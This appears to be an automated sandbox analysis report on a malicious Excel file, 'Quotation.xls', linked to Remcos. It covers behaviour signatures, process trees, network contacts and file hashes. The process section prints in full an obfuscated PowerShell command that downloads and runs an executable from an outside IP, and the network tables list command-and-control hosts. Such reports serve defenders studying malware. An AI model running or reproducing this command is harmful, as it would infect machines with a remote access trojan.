Analysis Overview
SHA256
c0484101a8ad9d96190d39f100d6a6ed337873df68eb587c74a91b5cdd19cdd5
Threat Level: Known bad
The file Quotation.xls was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Remcos
Evasion via Device Credential Deployment
Blocklisted process makes network request
Downloads MZ/PE file
Loads dropped DLL
Executes dropped EXE
Drops file in System32 directory
Suspicious use of SetThreadContext
Detected phishing page
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Checks processor information in registry
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Suspicious use of AdjustPrivilegeToken
Uses Task Scheduler COM API
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Uses Volume Shadow Copy WMI provider
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-24 09:07
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-24 09:07
Reported
2024-07-24 09:09
Platform
win7-20240704-en
Max time kernel
149s
Max time network
134s
Command Line
Signatures
Remcos
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\winiti.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1968 set thread context of 2928 | N/A | C:\Users\Admin\AppData\Roaming\winiti.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe |
Detected phishing page
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Quotation.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c PowerShEll -EX BYPASs -NOP -w 1 -C DEViCECrEDEntIaldEPLOyment ; IeX($(iex('[sysTem.TeXt.ENCOdIng]'+[chAR]58+[ChAr]0x3a+'Utf8.gETStRIng([sysTEM.COnveRT]'+[cHAr]58+[CHar]0x3A+'frOMbaSe64StRing('+[char]0x22+'JDVYWE5WZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZW1iRVJERUZpbml0SU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNT24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdLbU8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFljSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ1FpSEtBVCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtGWmN1cW5tYWNILEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYU3gpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1Fc3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeVVjSHZ3QnF1TWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNVhYTlZlOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDIzMDdXL2NzcnNzLmV4ZSIsIiRFTlY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1NUYXJULVNMZUVwKDMpO3NUQXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcd2luaXRpLmV4ZSI='+[chAR]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PowerShEll -EX BYPASs -NOP -w 1 -C DEViCECrEDEntIaldEPLOyment ; IeX($(iex('[sysTem.TeXt.ENCOdIng]'+[chAR]58+[ChAr]0x3a+'Utf8.gETStRIng([sysTEM.COnveRT]'+[cHAr]58+[CHar]0x3A+'frOMbaSe64StRing('+[char]0x22+'JDVYWE5WZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZW1iRVJERUZpbml0SU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNT24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdLbU8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFljSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ1FpSEtBVCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtGWmN1cW5tYWNILEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYU3gpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1Fc3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeVVjSHZ3QnF1TWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNVhYTlZlOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDIzMDdXL2NzcnNzLmV4ZSIsIiRFTlY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1NUYXJULVNMZUVwKDMpO3NUQXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcd2luaXRpLmV4ZSI='+[chAR]0x22+'))')))"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l6tmq1s6.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6D74.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6D73.tmp"
C:\Users\Admin\AppData\Roaming\winiti.exe
"C:\Users\Admin\AppData\Roaming\winiti.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tny.wtf | udp |
| US | 104.21.40.183:80 | tny.wtf | tcp |
| US | 192.3.118.15:80 | 192.3.118.15 | tcp |
| US | 104.21.40.183:80 | tny.wtf | tcp |
| US | 192.3.118.15:80 | 192.3.118.15 | tcp |
| US | 107.173.143.46:80 | 107.173.143.46 | tcp |
| US | 8.8.8.8:53 | bossnacarpet.com | udp |
| US | 173.255.204.62:2556 | bossnacarpet.com | tcp |
| US | 8.8.8.8:53 | vegetachcnc.com | udp |
| US | 107.173.4.18:2556 | vegetachcnc.com | tcp |
| US | 8.8.8.8:53 | geoplugin.net | udp |
| NL | 178.237.33.50:80 | geoplugin.net | tcp |
Files
memory/2848-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2848-1-0x000000007292D000-0x0000000072938000-memory.dmp
memory/2848-4-0x0000000002370000-0x0000000002372000-memory.dmp
memory/2628-3-0x00000000022F0000-0x00000000022F2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2LF9I1AK\gdfc[1].hta
| MD5 | a183dcd47ab3d4ad39338dfe7eddff53 |
| SHA1 | 4cd5c2dad4510df9516f6d16208bd284add559b5 |
| SHA256 | 85c14a84e7c4d9e2b2ef10bc483f9ae22cfdf3438a2ae818dc8f487a0e455682 |
| SHA512 | 8818b4d8d9bcd37b3d717c6309e825142ea2fd9f0cab68f4ca5232f38e444c90abb75a35e069018cfed867d48f267369bdab67a681a36633e264338adc943791 |
\??\c:\Users\Admin\AppData\Local\Temp\l6tmq1s6.cmdline
| MD5 | 3fce564657419739a0491a5402a8c929 |
| SHA1 | f405e46f957bdf5d38b310fba68c8175c2acf36d |
| SHA256 | 47510126de9f30f68ac4fff997269741a20107c7e317800ab4b5e1e2c5688dca |
| SHA512 | 52b21784bf8520b7fa2e216cb3d925c5b0516c3c89bad08e17eba72ed63acdf655f1f88dd720ce8ab3b64dc0f28246c851bbda29aa16d603a76ae018aaa9c052 |
\??\c:\Users\Admin\AppData\Local\Temp\l6tmq1s6.0.cs
| MD5 | a83dc0e46bbad233951be9e3fdba130c |
| SHA1 | 892cfc6827bb1072ec2e26bbf83457497d6a17cb |
| SHA256 | aa9a30262c1a7f73a50a10094b1c5eef9584cd05d275b2ed57430b3431aef967 |
| SHA512 | e02ef7f32d36925b4064b283c5dfe49b2db6fe0df092be7e3e4b3ba6501b840f4d7d86732f63dc4564514e8aef810edc40b42c982b9fb8356b2e5ab6fe580caa |
\??\c:\Users\Admin\AppData\Local\Temp\CSC6D73.tmp
| MD5 | 010033bada91ce77a8eae6c96c8627d2 |
| SHA1 | ee31b5cf1b1974b77766e6b3bccd730524e18a18 |
| SHA256 | bf4cc1b4b2f823aac74d3b7e3922fbde66c73a56ecda14d7be050f23f0e2223c |
| SHA512 | 04c6d9269b2a42fb35f83e707839ea1a01f0946d51d9e2e5ee6db668994b4bf75d030207ce7e77eeccf7060d726a00f455339d0011d84a274e6b2889a0ce1f2d |
C:\Users\Admin\AppData\Local\Temp\RES6D74.tmp
| MD5 | cd9200e66a5fa073a5549f36efb35a50 |
| SHA1 | c5f1942415b254a8715c92888e19c4e2efbb689b |
| SHA256 | beb64070aa5707651ed331e35b53cd295de898c0f547c28cbfe0155415a6a4dc |
| SHA512 | 0c9b6dd08ccf7524ed00f9ed2c871dd6a7ef36373c8d1603108dd60fd018237f57f7187561d3f36aa33664670993e70110f034c46617e702bd03720bca8212a0 |
C:\Users\Admin\AppData\Local\Temp\l6tmq1s6.dll
| MD5 | 958fc6d7cff611120a9297af43662996 |
| SHA1 | f4b17148eedad42cdf26a1ccd7dc17f252450c68 |
| SHA256 | aee5f00d12d42d731fa43cbd0c39f2fac387c18f51a9c0332c45a6612c447db3 |
| SHA512 | a203a478aba35b3cf441f0fad42f708c618965767be9d4dd88f8e5267412fd5e45b11ba118f21af2a786b1fd47e006dc180da71087a20b8f3c36dc360cdf9fd7 |
C:\Users\Admin\AppData\Local\Temp\l6tmq1s6.pdb
| MD5 | e70684c20cbbb0ba7c7b8634a0727159 |
| SHA1 | 14e5e9df9ad67a941cd7c0cd68f79f9d18d7b5ff |
| SHA256 | ac4a8a14046d155b0a0bbcd1b0b19a7f79018d27c70e65957e768323a5db273d |
| SHA512 | c2a4556f83a9fcae888b0fc67605ccd01919e6933626b26061e38b465d83519addb8fc9e4c72c5172a877a43bd76124fd86d80410b4dd5673190cd79df60dadb |
C:\Users\Admin\AppData\Roaming\winiti.exe
| MD5 | f6bf8ada032d17192526ffebb48aed79 |
| SHA1 | 362cb802e430115288638c9d613f00412f1b2519 |
| SHA256 | 153e11471f85de3df5135b0445014698333ff40a9d6c488d291d6517eb19800d |
| SHA512 | 0a2e5dbcc972d8463a3cd0608bb837e232ed1dd909ea7472ade269abb0ae1d9dfbeecefe505caffabefed02af413ee156aa2917f0ac3547f1431183bfa99639c |
memory/2928-37-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-36-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-38-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-39-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2848-40-0x000000007292D000-0x0000000072938000-memory.dmp
memory/2928-41-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-42-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-43-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-44-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-45-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-48-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-49-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-50-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-51-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2848-53-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2848-56-0x000000007292D000-0x0000000072938000-memory.dmp
memory/2928-57-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-58-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2928-59-0x0000000000400000-0x0000000000482000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-24 09:07
Reported
2024-07-24 09:09
Platform
win10v2004-20240709-en
Max time kernel
145s
Max time network
151s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Detected phishing page
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1628 wrote to memory of 408 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 1628 wrote to memory of 408 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Quotation.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.242.123.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | tny.wtf | udp |
| US | 172.67.156.72:80 | tny.wtf | tcp |
| US | 8.8.8.8:53 | 94.12.20.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| US | 192.3.118.15:80 | 192.3.118.15 | tcp |
| US | 8.8.8.8:53 | 72.156.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.118.3.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 170.117.168.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
Files
memory/1628-0-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-1-0x00007FFE9A58D000-0x00007FFE9A58E000-memory.dmp
memory/1628-2-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-3-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-4-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-8-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-9-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-7-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-5-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-6-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-13-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-14-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-15-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-17-0x00007FFE57E40000-0x00007FFE57E50000-memory.dmp
memory/1628-16-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-18-0x00007FFE57E40000-0x00007FFE57E50000-memory.dmp
memory/1628-12-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-11-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-10-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/408-33-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/408-35-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/408-36-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/408-37-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 20027ba84ae3f3642a88a2f6010f2f35 |
| SHA1 | 3be4122787603891ca3baf5d2a8624ca8c5d9327 |
| SHA256 | baecfa0a690faa5ef8d323dbbde6974b69c02abc09819496040754d5071af9c8 |
| SHA512 | 062b863625702d69cf4dddd8000ec3b6cd37a433de2ab37f7bb01a7f2b04e8b0004ca629df801f3737240ae649674d41d6af3c9fc2bed88a05f001151930c5d0 |
memory/408-47-0x00007FF7E8190000-0x00007FF7E8198000-memory.dmp
memory/1628-48-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-49-0x00007FFE9A58D000-0x00007FFE9A58E000-memory.dmp
memory/1628-51-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/408-52-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp
memory/1628-79-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-78-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-80-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-81-0x00007FFE5A570000-0x00007FFE5A580000-memory.dmp
memory/1628-82-0x00007FFE9A4F0000-0x00007FFE9A6E5000-memory.dmp